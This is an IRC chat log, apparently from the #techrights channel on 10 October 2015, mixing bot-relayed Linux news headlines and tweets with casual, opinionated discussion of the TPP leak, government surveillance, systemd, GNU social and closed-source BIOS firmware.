| -TechrightsBot-tr/#techrights-@Arcon_: Our good friend @darkespyne242 made a torrent for the #TPP leak https://t.co/Fkai1UziQn | Oct 10 00:41 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://my.mixtape.moe/mmvsyy.torrent ) | Oct 10 00:41 | |
| cubexyz | what is that? | Oct 10 00:43 |
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| cubexyz | oh I see... Trans-Pacific Partnership Agreement | Oct 10 00:44 |
| cubexyz | damn, I was hoping for BIOS source code :) | Oct 10 00:45 |
| cubexyz | it's really hard to get you know | Oct 10 00:45 |
| schestowitz | MinceR: ta | Oct 10 00:45 |
| MinceR | :) | Oct 10 00:47 |
| cubexyz | I just learned about NSL's today | Oct 10 00:49 |
| cubexyz | https://en.wikipedia.org/wiki/National_security_letter | Oct 10 00:50 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | National security letter - Wikipedia, the free encyclopedia [ http://ur1.ca/e7wd7 ] | Oct 10 00:50 | |
| cubexyz | closed source BIOS really is crap though | Oct 10 00:52 |
| cubexyz | and the motherboard manufacturers have made motherboards which are user-hostile in various ways | Oct 10 00:53 |
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| cubexyz | http://www.maxhost.org/other/attacking-intel-bios.pdf | Oct 10 01:07 |
| TweetTuxMachines | @tuxmachines Down to Business with Major Deployments | Oct 10 01:11 |
| TweetTuxMachines | retweeted by https://t.co/gezQJKETeM (dot.kde.org) | Oct 10 01:11 |
| TweetTuxMachines | @linuxusergroup | Oct 10 01:11 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyzpr | Oct 10 01:11 |
| TweetTuxMachines | @tuxmachines Amazon’s AWS IoT platform taps three Linux SBCs | Oct 10 01:11 |
| TweetTuxMachines | http://t.co/fd1cZyqPl8 (www.tuxmachines.org) | Oct 10 01:11 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyzps | Oct 10 01:11 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Amazon’s AWS IoT platform taps three Linux SBCs | Tux Machines | Oct 10 01:11 | |
| MinceR | here's poettering going full sjw: https://plus.google.com/app/basic/stream/z13rdjryqyn1xlt3522sxpugoz3gujbhh04 | Oct 10 01:21 |
| -TechrightsBot-tr/#techrights-plus.google.com | Google+ [ http://ur1.ca/nyzsu ] | Oct 10 01:21 | |
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| cubexyz | that's just an opinion piece | Oct 10 01:24 |
| cubexyz | a lot of the time I never see the people I work with online | Oct 10 01:26 |
| cubexyz | sometimes I don't even know there real name | Oct 10 01:26 |
| cubexyz | s/there/their/ | Oct 10 01:26 |
| TweetTuxMachines | @tuxmachines openSUSE Tumbleweed Gets New Major Snapshot, | Oct 10 01:26 |
| TweetTuxMachines | Leap 42.1 RC1 Coming Next Week | Oct 10 01:26 |
| TweetTuxMachines | http://t.co/kbMhOSw4GX (www.tuxmachines.org) | Oct 10 01:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyzuf | Oct 10 01:26 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1 RC1 Coming Next Week | Tux Machines | Oct 10 01:26 | |
| TweetTuxMachines | @tuxmachines FreeNAS 10 Enters Alpha, Brings Lots of New | Oct 10 01:27 |
| TweetTuxMachines | Technologies, Based on FreeBSD 10.2 | Oct 10 01:27 |
| TweetTuxMachines | http://t.co/UCW1SiXscw (www.tuxmachines.org) | Oct 10 01:27 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyzug | Oct 10 01:27 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | FreeNAS 10 Enters Alpha, Brings Lots of New Technologies, Based on FreeBSD 10.2 | Tux Machines | Oct 10 01:27 | |
| cubexyz | yeah they can brick BIOS's by hacking the BMP file with bogus wide and height | Oct 10 01:34 |
| cubexyz | clever | Oct 10 01:34 |
| MinceR | fun | Oct 10 01:35 |
| *TweetTuxMachines @softpedialinux favourited 'openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1...' | Oct 10 01:36 | |
| *TweetTuxMachines @softpedialinux favourited 'FreeNAS 10 Enters Alpha, Brings Lots of New...' | Oct 10 01:36 | |
| msb_ | Didn't someone say Poettering was gay? In that plus.google spew he says he's straight. | Oct 10 01:40 |
| MinceR | i don't know, i don't care enough | Oct 10 01:41 |
| MinceR | plus i don't mind gay people, putin does | Oct 10 01:42 |
| cubexyz | he's trying to invoke the PC brigade, trying to defocus people from the real issues | Oct 10 01:42 |
| MinceR | exactly | Oct 10 01:43 |
| cubexyz | some of the anti-Poettering comments are funny though | Oct 10 01:43 |
| msb_ | MinceR: Do you ever have a moment in your life when you _don't_ think about Putin? | Oct 10 01:43 |
| MinceR | msb_: indeed | Oct 10 01:43 |
| MinceR | most of the moments in my life are such | Oct 10 01:43 |
| MinceR | unlike your life | Oct 10 01:44 |
| cubexyz | "he deserves to become the maintainer of svchost.exe" | Oct 10 01:44 |
| msb_ | MinceR: STOP LYING ABOUT ME!!! | Oct 10 01:44 |
| MinceR | the notion that svchost.exe is maintained is amusing | Oct 10 01:44 |
| MinceR | (or any other m$ product, for that matter) | Oct 10 01:44 |
| cubexyz | who knows? It's all opaque unless you work for M$ | Oct 10 01:45 |
| MinceR | maybe m$ should adopt the CADT development model too | Oct 10 01:45 |
| cubexyz | maybe not even then | Oct 10 01:45 |
| TweetTuxMachines | @tuxmachines The whole 'Mac vs. PC' thing is so over, and | Oct 10 01:46 |
| TweetTuxMachines | 'Android vs iPhone' is close behind | Oct 10 01:46 |
| TweetTuxMachines | https://t.co/KXhAqE6dEJ (www.yahoo.com) false | Oct 10 01:46 |
| TweetTuxMachines | dichotomies | Oct 10 01:46 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz00m | Oct 10 01:46 |
| -TechrightsBot-tr/#techrights-www.yahoo.com | The whole 'Mac vs. PC' thing is so over, and 'Android vs iPhone' is close behind | Oct 10 01:46 | |
| TweetTuxMachines | @tuxmachines Android TV: Is Google’s other living-room | Oct 10 01:46 |
| TweetTuxMachines | platform at a dead end? http://t.co/7tRbsbHJXo | Oct 10 01:46 |
| TweetTuxMachines | (www.techhive.com) | Oct 10 01:46 |
| -TechrightsBot-tr/#techrights-www.techhive.com | Android TV: Is Google’s other living-room device at a dead end? | Oct 10 01:46 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nz00n | Oct 10 01:46 |
| TweetTuxMachines | @tuxmachines Sony Xperia Z5 vs Samsung Galaxy #S6 | Oct 10 01:46 |
| TweetTuxMachines | comparison: What's the best Android phone? | Oct 10 01:46 |
| TweetTuxMachines | http://t.co/04bL9yA8fG (www.pcadvisor.co.uk) | Oct 10 01:46 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz00o | Oct 10 01:46 |
| -TechrightsBot-tr/#techrights-www.pcadvisor.co.uk | Sony Xperia Z5 vs Samsung Galaxy S6: What's the best Android phone? - Review - PC Advisor | Oct 10 01:46 | |
| msb_ | I just found out that the source code of systemd is 36MB of text. A typical novel is 0.5 to 1MB of text. | Oct 10 01:48 |
| MinceR | a typical novel is also a lot more readable | Oct 10 01:49 |
| MinceR | and a lot more useful | Oct 10 01:49 |
| msb_ | Plenty of room in there to hide a backdoor for the govt to use to take over a Lennix computer. | Oct 10 01:49 |
| MinceR | also plenty of bad design and bad code to leave vulnerabilities all over the place | Oct 10 01:51 |
| MinceR | conveniently in pid1 as root | Oct 10 01:51 |
| msb_ | Nobody is going to read 36 novels worth of text _and_ analyze its functioning as code to see if there's an intentionally hidden bug/backdoor. | Oct 10 01:51 |
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| msb_ | Of course all MS-Winblows systems can already be killed via their botnet. | Oct 10 01:53 |
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| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow: Samsung Starts Working | Oct 10 09:47 |
| TweetTuxMachines | On Firmware Update For Multiple Devices | Oct 10 09:47 |
| TweetTuxMachines | http://t.co/puCwd6Dgo7 (www.ibtimes.com) | Oct 10 09:47 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz3tw | Oct 10 09:47 |
| -TechrightsBot-tr/#techrights-www.ibtimes.com | Android 6.0 Marshmallow: Samsung Starts Working On Firmware Update For Multiple Devices | Oct 10 09:47 | |
| TweetTuxMachines | @tuxmachines New IBM Linux Servers Tap OpenPower Technology | Oct 10 09:47 |
| TweetTuxMachines | http://t.co/dYRmkPc3JX (www.tuxmachines.org) | Oct 10 09:47 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz3tx | Oct 10 09:47 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | New IBM Linux Servers Tap OpenPower Technology | Tux Machines | Oct 10 09:47 | |
| TweetTuxMachines | @tuxmachines Manjaro Linux Fluxbox 15.10 Edition Released | Oct 10 09:47 |
| TweetTuxMachines | with a Completely Redesigned Desktop | Oct 10 09:47 |
| TweetTuxMachines | http://t.co/W3a7AGhTLq (www.tuxmachines.org) | Oct 10 09:47 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz3ty | Oct 10 09:47 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro Linux Fluxbox 15.10 Edition Released with a Completely Redesigned Desktop | Tux Machines | Oct 10 09:47 | |
| schestowitz | https://twitter.com/rabite/status/652772005398347777 | Oct 10 10:09 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz how is that blackmail? There is nothing they can give me to get me to stop. | Oct 10 10:09 | |
| schestowitz | Maybe a deterrence tactic | Oct 10 10:10 |
| schestowitz | https://twitter.com/rabite/status/652773713709023232 | Oct 10 10:16 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz yes, the purpose is to punish organized crime so that others might think twice before committing it. | Oct 10 10:16 | |
| schestowitz | make no mistake; I support you. I just think it shows how privacy violations enable revenge and blackmail. | Oct 10 10:17 |
| schestowitz | And if you followed what I had written about you dozens of times in the past you'd understand my tone and point to drive home | Oct 10 10:18 |
| schestowitz | ^ weev | Oct 10 10:18 |
| schestowitz | https://joindiaspora.com/posts/6687535 | Oct 10 10:50 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Opposition to mass #surveillance still a bipartisan matter; even so-called Conservatives upset http://personalliberty.com/out-nsa-ing-the-nsa/ https://news.vice.com/article/a-federal-judge-could-halt-the-nsas-phone-data-collection-program-this-week | Oct 10 10:50 | |
| -TechrightsBot-tr/#techrights--> personalliberty.com | Out NSA-ing the NSA [ http://ur1.ca/nz4d4 ] | Oct 10 10:50 | |
| -TechrightsBot-tr/#techrights--> news.vice.com | A Federal Judge Could Halt the NSA's Phone Data Collection Program This Week | VICE News [ http://ur1.ca/nz4d5 ] | Oct 10 10:50 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652782898790187009 | Oct 10 10:51 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz really surprised the gate guards didn't "shoot first" even if it was "different circumstances" to the last time | Oct 10 10:51 | |
| schestowitz | maybe lessons learned and no black person | Oct 10 10:51 |
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| schestowitz | https://twitter.com/LadyKorenwolf/status/652784785132232704 | Oct 10 11:30 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz is that why you can't take the battery out of an iphone? o.0 | Oct 10 11:30 | |
| schestowitz | That's my suspicion (and others'). I spoke about this years ago, before Snowden... | Oct 10 11:31 |
| schestowitz | https://twitter.com/MxsQueen/status/652785244190470144 | Oct 10 11:32 |
| -TechrightsBot-tr/#techrights-@MxsQueen: So much for small government. https://t.co/4YBHij5FJA | Oct 10 11:32 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The #torygraph openly advocates for back doors in operating systems http://t.co/pxNj8Mkcw7 what has become of #uk gov.? #tories | Oct 10 11:32 | |
| schestowitz | https://twitter.com/SeaH2ONymph/status/652786869260931072 | Oct 10 11:32 |
| -TechrightsBot-tr/#techrights-@SeaH2ONymph: @schestowitz T'internet Fun & Games: #WIRED 'rather than #Russian secret police, it’s his old employers, #CIA & #NSA, #Snowden most fears.' | Oct 10 11:32 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652790185445433344 | Oct 10 11:33 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: politicians are clueless & easily led by people who aren't (& who use money or fear to get their way) https://t.co/z8lTEoAU9r | Oct 10 11:33 | |
| schestowitz | https://twitter.com/glynmoody/status/652792305133428736 | Oct 10 11:33 |
| -TechrightsBot-tr/#techrights-@glynmoody: and yet #NZ is claiming that's not the case... https://t.co/EyXD1JgXkM | Oct 10 11:33 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody https://t.co/dgCj2UCC1B | Oct 10 11:33 | |
| schestowitz | Maybe #nz politicians | Oct 10 11:33 |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652793043322597376 | Oct 10 11:35 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz or when not in use, drop it in a small Faraday cage | Oct 10 11:35 | |
| schestowitz | If you have one readily available | Oct 10 11:35 |
| schestowitz | https://twitter.com/swardley/status/652793279201837056 | Oct 10 11:35 |
| -TechrightsBot-tr/#techrights-@swardley: Curious. One to be aware of -> https://t.co/11sff6HiwV | Oct 10 11:35 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody @fosspatents Benoît #Battistelli 's Office Accused of Institutional Harassment Against #EPO Staff http://t.co/yOJ6NmMqHt | Oct 10 11:35 | |
| schestowitz | https://twitter.com/MxsQueen/status/652796192691212288 | Oct 10 11:46 |
| -TechrightsBot-tr/#techrights-@MxsQueen: Alternatively, you could give up on trusting your devices completely but that's a pretty terrible compromise. https://t.co/KJHBrmdBY9 | Oct 10 11:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Solution: don't use mobile phones (proprietary components like baseband OS often unavoidable) http://t.co/yRKfDoWcq3 | Oct 10 11:46 | |
| schestowitz | People who carry it everywhere won't be able to go on in life knowing they're WATCHED and LISTENED 24/7 | Oct 10 11:46 |
| schestowitz | https://twitter.com/MxsQueen/status/652798229478797312 | Oct 10 11:51 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz I think there's an interesting challenge/compromise to be made coping with panopticon psychology, making surveillance harder | Oct 10 11:51 | |
| schestowitz | https://twitter.com/MxsQueen/status/652800719075065856 | Oct 10 12:10 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz there's the argument there that it's pretty easy with a known bug to be selective in your use of it. | Oct 10 12:10 | |
| schestowitz | The listener or listened? | Oct 10 12:11 |
| schestowitz | https://twitter.com/jolly_angelina/status/652801270579896321\ | Oct 10 12:11 |
| -TechrightsBot-tr/#techrights-@jolly_angelina: "@schestowitz: Phones with 2 cameras, 1 either side; so you're visible no matter how you put it down. Recom by #nsa : endorsed by #gchq ;-)" | Oct 10 12:11 | |
| schestowitz | https://twitter.com/jurasick/status/652801665645588480 | Oct 10 12:12 |
| -TechrightsBot-tr/#techrights-@jurasick: @schestowitz Lots of folks don't realize with 1 option Siri can listen all night (presumably snoring?) while charging. Smurf suite indeed! | Oct 10 12:12 | |
| schestowitz | it's being normalised | Oct 10 12:12 |
| schestowitz | https://twitter.com/MxsQueen/status/652803898860793856 | Oct 10 12:13 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz the listened. It's easy enough to leave it somewhere you're not. If you're under physical surveillance game over already. | Oct 10 12:13 | |
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| schestowitz | https://twitter.com/openstandaarden/status/652810259019497473 | Oct 10 12:40 |
| -TechrightsBot-tr/#techrights-@openstandaarden: Het nieuws dat we meer gaan inzetten op #ODF #opendocumenten dringt ook bij buitenlandse collega's door. https://t.co/N1WBlGeeFO | Oct 10 12:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Dutch government is determined to speed up ODF adoption http://t.co/DvBJQj1XAI #odf #holland | Oct 10 12:40 | |
| schestowitz | https://twitter.com/AJimenez1988/status/652811363690106880 | Oct 10 12:58 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Fuck the Magna Carta. | Oct 10 12:58 | |
| schestowitz | Tories know better... and Blairites too. | Oct 10 12:58 |
| schestowitz | Rivet Radio (blog): | Oct 10 13:05 |
| schestowitz | "People are falling for a privacy hoax on Facebook, YET AGAIN, and Edward Snowden joins Twitter and immediately, figuratively, shoots himself in the foot." | Oct 10 13:05 |
| schestowitz | Link pulled down | Oct 10 13:05 |
| XRevan86 | Should had Snowden choose GNU social that "even" schestowitz turnes down? | Oct 10 13:07 |
| XRevan86 | schestowitz: I really don't understand the correlation between Evan not giving you data and undesire to join GNU social. | Oct 10 13:08 |
| msb_ | I joined the first GNU social server, LoadAverage, and found it had only one channel about Linux, and that in Spanish or some similar language. | Oct 10 13:42 |
| XRevan86 | msb_: It's filled with GNU/Linux. | Oct 10 13:44 |
| msb_ | How do I reach that? | Oct 10 13:44 |
| XRevan86 | msb_: I can't find you. | Oct 10 13:47 |
| msb_ | XRevan86: How do I connect with the GNU/Linux discussions? | Oct 10 13:47 |
| msb_ | I am markbilk on LoadAverage | Oct 10 13:47 |
| msb_ | or maybe mark@cosmicpenguin.com | Oct 10 13:48 |
| XRevan86 | https://loadaverage.org/tag/linux https://quitter.se/group/linux http://legadolibre.com.ar/group/gnu | Oct 10 13:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with linux - LoadAverage | Oct 10 13:49 | |
| -TechrightsBot-tr/#techrights-quitter.se | Quitter | Oct 10 13:49 | |
| -TechrightsBot-tr/#techrights-legadolibre.com.ar | Grupo GNU's Not Unix (gnu) - legadolibre | Oct 10 13:49 | |
| XRevan86 | https://loadaverage.org/group/opensuse | Oct 10 13:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | openSUSE (opensuse) group - LoadAverage | Oct 10 13:49 | |
| msb_ | I want to discuss systemd on many distros | Oct 10 13:50 |
| XRevan86 | http://skilledtests.com/wiki/List_of_federated_GNU_social_groups | Oct 10 13:51 |
| -TechrightsBot-tr/#techrights-skilledtests.com | List of federated GNU social groups - I ask questions [ http://ur1.ca/iwdhd ] | Oct 10 13:51 | |
| XRevan86 | https://loadaverage.org/tag/systemd | Oct 10 13:51 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with systemd - LoadAverage | Oct 10 13:51 | |
| schestowitz | http://wwlp.com/2015/10/09/cybersecurity-threats-business-owners-need-to-know/ | Oct 10 14:08 |
| schestowitz | "NSA’s role in combating hacker" | Oct 10 14:08 |
| -TechrightsBot-tr/#techrights-wwlp.com | Cybersecurity threats business owners need to know | WWLP.com [ http://ur1.ca/nz5tf ] | Oct 10 14:08 | |
| schestowitz | XRevan86: I could not import the data | Oct 10 14:09 |
| XRevan86 | schestowitz: Start from stratch then. | Oct 10 14:09 |
| schestowitz | nah | Oct 10 14:09 |
| schestowitz | f* the 'cloud' | Oct 10 14:09 |
| schestowitz | now I keep my things backed up publicly | Oct 10 14:09 |
| schestowitz | learned from the mistake of netscape.com too | Oct 10 14:10 |
| schestowitz | where I had worked | Oct 10 14:10 |
| schestowitz | all sites will vanish one day | Oct 10 14:10 |
| schestowitz | but some vanish purely for business reasons (profit) | Oct 10 14:10 |
| XRevan86 | schestowitz: Self-host then :) | Oct 10 14:12 |
| schestowitz | https://twitter.com/BryanZwan2/status/652834173393240064 | Oct 10 14:14 |
| -TechrightsBot-tr/#techrights-@BryanZwan2: RT http://t.co/9JepJ1l47m Government crackers lecture about #security http://t.co/ZQeFsZ9yXi "NSA’s role in combating hackers.." heh. #… | Oct 10 14:14 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Government crackers lecture about #security http://t.co/B6Lld1Mpk8 "NSA’s role in combating hackers.." heh. | Oct 10 14:14 | |
| schestowitz | XRevan86: I wanted to | Oct 10 14:14 |
| schestowitz | but couldn't get my data | Oct 10 14:14 |
| schestowitz | so defected to diaspora | Oct 10 14:14 |
| XRevan86 | I should consider creating a Twitter account. | Oct 10 14:16 |
| MinceR | more TPP leaks >> http://8ch.net/tech/res/402037.html#405366 | Oct 10 14:16 |
| -TechrightsBot-tr/#techrights-8ch.net | /tech/ - TPP HAPPENING thread [ http://ur1.ca/nz5vo ] | Oct 10 14:16 | |
| XRevan86 | (not really) | Oct 10 14:17 |
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| msb_ | Are gnu/social messages limited to 128 chars or so? | Oct 10 14:20 |
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| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 14:26 |
| TweetTuxMachines | U.S. http://t.co/sAc5t65ED9 | Oct 10 14:26 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 10 14:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz5z3 | Oct 10 14:26 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged Cat S40 Android Smartphone Launches in U.S. | Tux Machines | Oct 10 14:26 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 14:27 |
| TweetTuxMachines | http://t.co/h1bIYqD0D0 (www.tuxmachines.org) | Oct 10 14:27 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz5z4 | Oct 10 14:27 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Release of KDE Frameworks 5.15.0 | Tux Machines | Oct 10 14:27 | |
| schestowitz | http://news.niticentral.com/2015/10/09/nepal-forms-team-to-ease-standoff-with-india-over-supplies/ | Oct 10 14:49 |
| -TechrightsBot-tr/#techrights-news.niticentral.com | Nepal forms team to ease standoff with India over supplies - India News Analysis Opinions on Niti Central - Bold and Right [ http://ur1.ca/nz66a ] | Oct 10 14:49 | |
| schestowitz | https://twitter.com/LucidGlow/status/652844512339996672 https://twitter.com/LucidGlow/status/652845102046556160 | Oct 10 14:59 |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz He should be given a "warm" welcome... | Oct 10 14:59 | |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz Gen. Keith Alexander is certainly one of the individuals that has contributed most to the oppression of mankind lately. | Oct 10 14:59 | |
| schestowitz | http://www.foxbusiness.com/on-air/stossel/blog/2015/10/07/war-cops-other-political-myths | Oct 10 15:00 |
| schestowitz | "Do women have a right for government to pay for their birth control? Abortions? I don't think so." | Oct 10 15:00 |
| -TechrightsBot-tr/#techrights-www.foxbusiness.com | War on Cops & Other Political Myths | John Stossel's Take | Fox Business [ http://ur1.ca/nz69t ] | Oct 10 15:00 | |
| schestowitz | Fox... | Oct 10 15:00 |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 15:12 |
| TweetTuxMachines | http://t.co/6WUNbMubqH (www.tuxmachines.org) | Oct 10 15:12 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Best Linux Setup For Older Computers | Tux Machines | Oct 10 15:12 | |
| schestowitz | https://twitter.com/nyakasanga/status/652847559489245184 | Oct 10 15:23 |
| -TechrightsBot-tr/#techrights-@nyakasanga: @schestowitz oppression repression and bad breath.. | Oct 10 15:23 | |
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| MinceR | https://scontent-lhr3-1.xx.fbcdn.net/hphotos-xta1/v/t1.0-9/12006221_10200844195464537_1177391076717232848_n.jpg?oh=8660e692cb2d4c27d30aea9bdf769c1a&oe=56960E72 | Oct 10 15:47 |
| XFaCE | MinceR: ROFLOL | Oct 10 15:47 |
| XFaCE | thanks for that | Oct 10 15:47 |
| XFaCE | schestowitz: the lack of TPP IP chapter coverage yesterday was disgusting | Oct 10 15:48 |
| XFaCE | 5 hours and no breaking news from MSM | Oct 10 15:48 |
| XFaCE | not surprising, but disgusting | Oct 10 15:48 |
| XFaCE | " • Provides protection and enforcement of copyrights and related rights, reflecting or building upon the World Intellectual Property Organization Internet Treaties. Canada ratified the Internet Treaties in 2014. | Oct 10 15:49 |
| XFaCE | • Reflects key aspects of Canada’s regime, including: | Oct 10 15:49 |
| XFaCE | ◦ Canada’s Notice-and-Notice regime regarding Internet service providers’ role in addressing online copyright infringement; | Oct 10 15:49 |
| XFaCE | ◦ protection and enforcement to prevent the circumvention of technological protection measures and the removal of rights management information; and | Oct 10 15:49 |
| XFaCE | ◦ Canada’s copyright exceptions and limitations framework. | Oct 10 15:49 |
| XFaCE | Moreover, officials told the Wire Report, claiming “what we were able to conclude in the TPP is fully consistent with Canadian law and policy, and included in that is Canada’s position or Canada’s regime pursuant to the recently-adopted Copyright Modernization Act.”" | Oct 10 15:49 |
| XFaCE | 99% bullshit | Oct 10 15:49 |
| XFaCE | lies | Oct 10 15:49 |
| XFaCE | and we have the Wikileak'd chapter to prove it | Oct 10 15:50 |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS | Oct 10 16:16 |
| TweetTuxMachines | Driver Updated http://t.co/RWzUKHFLkd | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS Driver Updated | Tux Machines | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines Epistory - Typing Chronicles Will Come To Linux | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Epistory - Typing Chronicles Will Come To Linux | GamingOnLinux | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines “$15 will grant you a DRM-free Linux copy of | Oct 10 16:16 |
| TweetTuxMachines | the game (plus your name in the credits)” | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Haque: Retro Roguelike RPG Requires Riches | GamingOnLinux | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines Manjaro Linux Fluxbox 15.10 Edition Released | Oct 10 16:22 |
| TweetTuxMachines | with a Completely Redesigned Desktop | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Fluxbox 15.10 Edition Released with a Completely Redesigned Desktop - Softpedia | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-www.kde.org | KDE - Release of KDE Frameworks 5.15.0 | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-www.eweek.com | Rugged Cat S40 Android Smartphone Launches in U.S. | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-linux.about.com | The Best Linux Setup To Replace Windows Vista And XP | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver Updated | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Raspberry Pi KMS Driver Updated - Phoronix | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines Tiny Core Linux 6.4.1 Gets Its First Release | Oct 10 16:29 |
| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes - Softpedia | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines Calligra 2.9.8 Released https://t.co/UN2TU9Zfyv | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-www.calligra.org | Calligra 2.9.8 Released | Calligra Suite | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines "hacking away at the Kate/KDevelop sprint in | Oct 10 16:30 |
| TweetTuxMachines | Berlin." http://t.co/FMJa2boeGp | Oct 10 16:30 |
| TweetTuxMachines | (kate-editor.org) | Oct 10 16:30 |
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| -TechrightsBot-tr/#techrights-kate-editor.org | Qt World Summit + Kate/KDevelop Sprint in Berlin | Kate | Get an Edge in Editing | Oct 10 16:30 | |
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| schestowitz | https://twitter.com/glynmoody/status/652870699703500800 | Oct 10 16:40 |
| -TechrightsBot-tr/#techrights-@glynmoody: well, pretty much as you'd expect... https://t.co/GX2LBiOA7R | Oct 10 16:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Financial Times of London (i.e. plutocrats) upset that #privacy won because of "transatlantic trade" http://t.co/vhVK6d9sLU @glynmoody | Oct 10 16:40 | |
| schestowitz | https://twitter.com/digital_human/status/652870602584399872 | Oct 10 16:41 |
| -TechrightsBot-tr/#techrights-@digital_human: #cool. Draaid dat een beetje? Iemand ervaring? https://t.co/PlHOKDISXL | Oct 10 16:41 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Overlord & Overlord 2 Coming To Linux, Two More Virtual Programming Titles http://t.co/5DKtnVRNXY http://t.co/9Ax9DWqK1g | Oct 10 16:41 | |
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| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 16:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes | Tux Machines | Oct 10 16:53 | |
| TweetTuxMachines | @tuxmachines Leftovers: FSF/GNU http://t.co/ce0RjYYp3c | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: FSF/GNU | Tux Machines | Oct 10 17:03 | |
| TweetTuxMachines | @tuxmachines Linux Discussion Continues, Fedora Welcomes | Oct 10 17:03 |
| TweetTuxMachines | Chromium http://t.co/ea8ZxlBpev | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Discussion Continues, Fedora Welcomes Chromium | Tux Machines | Oct 10 17:03 | |
| TweetTuxMachines | @tuxmachines Ubuntu Phone Game Falldown Ported to Sailfish | Oct 10 17:03 |
| TweetTuxMachines | OS, It Now Supports Themes | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Phone Game Falldown Ported to Sailfish OS, It Now Supports Themes - Softpedia | Oct 10 17:03 | |
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| TweetTuxMachines | @tuxmachines Humble Weekly Bundle: Nordic Games 3 Features | Oct 10 17:03 |
